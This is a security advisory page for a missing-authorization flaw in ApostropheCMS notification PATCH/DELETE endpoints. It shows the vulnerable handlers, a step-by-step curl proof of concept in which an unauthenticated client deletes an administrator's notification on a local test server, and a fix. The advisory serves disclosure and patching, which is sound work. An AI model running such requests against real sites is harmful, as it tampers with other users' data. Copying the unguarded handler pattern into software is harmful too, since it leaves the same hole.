Low

ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints

  • Disclosed: 20.10.2026
  • Updated: 20.10.2026 21:38

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.


Affected Code

File

packages/apostrophe/modules/@apostrophecms/notification/index.js
js
// restApiRoutes
async patch(req, _id) {
  const dismissed = self.apos.launder.boolean(req.body.dismissed);

  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });

    await self.db.updateOne(
      { _id },
      {
        $set: { dismissed },
        $currentDate: { updatedAt: true }
      }
    );
  }
},

async delete(req, _id) {
  await self.db.deleteMany({ _id });
}

Unlike the GET notification route, these handlers do not verify:

  • Authentication (req.user)
  • Ownership (userId === req.user._id)
  • Authorization or permissions

Instead, the supplied _id is used directly against the raw MongoDB collection.


Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

js
if (!(req.user && req.user._id)) {
  throw self.apos.error('invalid');
}

No equivalent validation exists in the PATCH or DELETE handlers.


Proof of Concept

1. Log in as an administrator

bash
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "username":"admin",
  "password":"AdminP@ssw0rd123!",
  "session":true
}'

2. Create a notification

bash
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "message":"manual verify test",
  "type":"info"
}'

Example response:

js
{
  "noteId":"p358r7phi2w8l245ww5130uf"
}

3. Verify the notification exists

bash
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

js
{
  "notifications":[
    {
      "_id":"p358r7phi2w8l245ww5130uf",
      "userId":"i89h844o5n3nbreis0ugusum",
      "message":"manual verify test"
    }
  ],
  "dismissed":[]
}

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

bash
rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

Then send the request without any authenticated session:

bash
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"

Response:

http
HTTP/1.1 200 OK

5. Verify the notification has been deleted

bash
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

js
{
  "notifications":[],
  "dismissed":[]
}

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.


Impact

An attacker who obtains a valid notification ID can:

  • Delete another user's notifications.
  • Mark another user's notifications as dismissed.
  • Suppress security-related or administrative notifications.

The vulnerability primarily affects integrity.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.


Recommended Fix

Require authentication before processing any modification request.

Additionally, scope all database operations to the authenticated user.

Example:

js
// patch
async patch(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const dismissed = self.apos.launder.boolean(req.body.dismissed);
  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });
    const result = await self.db.updateOne(
      { _id, userId: req.user._id },   // <-- ownership check
      { $set: { dismissed }, $currentDate: { updatedAt: true } }
    );
    if (!result.matchedCount) {
      throw self.apos.error('notfound');
    }
  }
},
// delete
async delete(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const result = await self.db.deleteMany({ _id, userId: req.user._id });
  if (!result.deletedCount) {
    throw self.apos.error('notfound');
  }
}

Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.


Recommendation

Every notification modification endpoint should:

  • Require authentication.
  • Verify ownership (userId === req.user._id).
  • Return 403 Forbidden for unauthorized requests.
  • Avoid performing database operations solely using a user-controlled _id.

The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.

What to do

Upgrade ApostropheCMS to version 4.33.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package apostrophe < 4.33.0 4.33.0

References

CVSS score 3.7/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness (CWE)
CWE-639, CWE-862
Platform
npm
Package
apostrophe
Disclosed
20.10.2026
Updated
20.10.2026 21:38

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-vwwx-px9w-crrc - CC BY 4.0

Vulnerability history: apostrophe

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (27) in the archive
Total entries
27
First → latest
09.2020 10.2026
Without a fix
4
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 8
  • Medium 13
  • Low 4

Disclosures per year

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Severity:
  1. ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints this entry
    Low · 3.7 CVE-2026-113665 < 4.33.0 4.33.0
  2. High · 7.3 CVE-2026-45011 = 4.29.0 no fix
  3. Critical · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.